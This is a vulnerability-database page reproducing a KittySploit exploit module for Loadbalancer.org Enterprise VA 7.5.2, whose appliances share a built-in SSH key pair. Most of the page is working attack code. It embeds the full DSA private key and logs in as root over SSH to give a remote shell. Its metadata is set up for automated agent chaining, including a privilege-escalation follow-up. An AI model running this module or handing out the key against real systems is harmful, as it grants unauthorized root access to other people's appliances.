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Loadbalancer.org Enterprise VA SSH Private Key Exposure

🗓️ 01 Dec 2025 12:51:31Reported by KittySploitType 
kittysploit
 kittysploit
🔗 kittysploit.com

Loadbalancer.org Enterprise VA ships a private key allowing passwordless authentication.

Refs
Code
from kittysploit import *
from lib.protocols.ssh.ssh_client import Ssh_client
from lib.exploit.handler import Handler

class Module(Exploit, Ssh_client, Handler):


	__info__ = {
			'name': 'Loadbalancer.org Enterprise VA SSH Private Key Exposure',
			'description': 'Loadbalancer.org ships a public/private key pair on Enterprise virtual appliances version 7.5.2 that allows passwordless authentication to any other LB Enterprise box',
			'cve': '',
			'payload': {
				'default':'nopayload',
				},
		'agent': {
		    'risk': 'intrusive',
		    'effects': ['active_exploitation'],
		    'expected_requests': 2,
		    'reversible': False,
		    'approval_required': True,
		    'produces': ['exploit_paths', 'risk_signals'],
		    'cost': 1.5,
		    'noise': 0.5,
		    'value': 1.0,
		    'requires': 		    {'min_endpoints': 0,
		     'min_params': 0,
		     'tech_hints_any': [],
		     'tech_hints_all': [],
		     'specializations_any': [],
		     'risk_signals_any': [],
		     'auth_session': False,
		     'capabilities_any': [],
		     'capabilities_all': [],
		     'confidence_min': {},
		     'confidence_min_any': {},
		     'endpoint_pattern_any': [],
		     'param_any': [],
		     'api_surface_ready': False},
		    'chain': 		    {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''}],
		     'consumes_capabilities': [],
		     'option_bindings': {},
		     'suggested_followups': ['post/shell/multi/gather/privesc_suggester']},
		},
		}
	ssh_target = OptString("", "Target IPv4", "yes")
	ssh_port = OptPort(22, "Target SSH port", "yes")
 
	def run(self):
		key_data = """
-----BEGIN DSA PRIVATE KEY-----
MIIBugIBAAKBgQCsCgcOw+DgNR/7g+IbXYdOEwSB3W0o3l1Ep1ibHHvAtLb6AdNW
Gq47/UxY/rX3g2FVrVCtQwNSZMqkrqALQwDScxeCOiLMndCj61t3RxU3IOl5c/Hd
yhGh6JGPdzTpgf8VhJIZnvG+0NFNomYntqYFm0y11dBQPpYbJE7Tx1t/lQIVANHJ
rJSVVkpcTB4XdtR7TfO317xVAoGABDytZN2OhKwGyJfenZ1Ap2Y7lkO8V8tOtqX+
t0LkViOi2ErHJt39aRJJ1lDRa/3q0NNqZH4tnj/bh5dUyNapflJiV94N3637LCzW
cFlwFtJvD22Nx2UrPn+YXrzN7mt9qZyg5m0NlqbyjcsnCh4vNYUiNeMTHHW5SaJY
TeYmPP8CgYAjEe5+0m/TlBtVkqQbUit+s/g+eB+PFQ+raaQdL1uztW3etntXAPH1
MjxsAC/vthWYSTYXORkDFMhrO5ssE2rfg9io0NDyTIZt+VRQMGdi++dH8ptU+ldl
2ZejLFdTJFwFgcfXz+iQ1mx6h9TPX1crE1KoMAVOj3yKVfKpLB1EkAIUCsG3dIJH
SzmJVCWFyVuuANR2Bnc=
-----END DSA PRIVATE KEY-----
		"""
		client = self.open_ssh(user="root")
		connection = client.login_dsa(key_data)
		if connection:
			self.handler_ssh(connection)
		else:
			self.not_vulnerable()

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10 Jul 2026 11:31Current
5.9Medium risk
Vulners AI Score5.9
0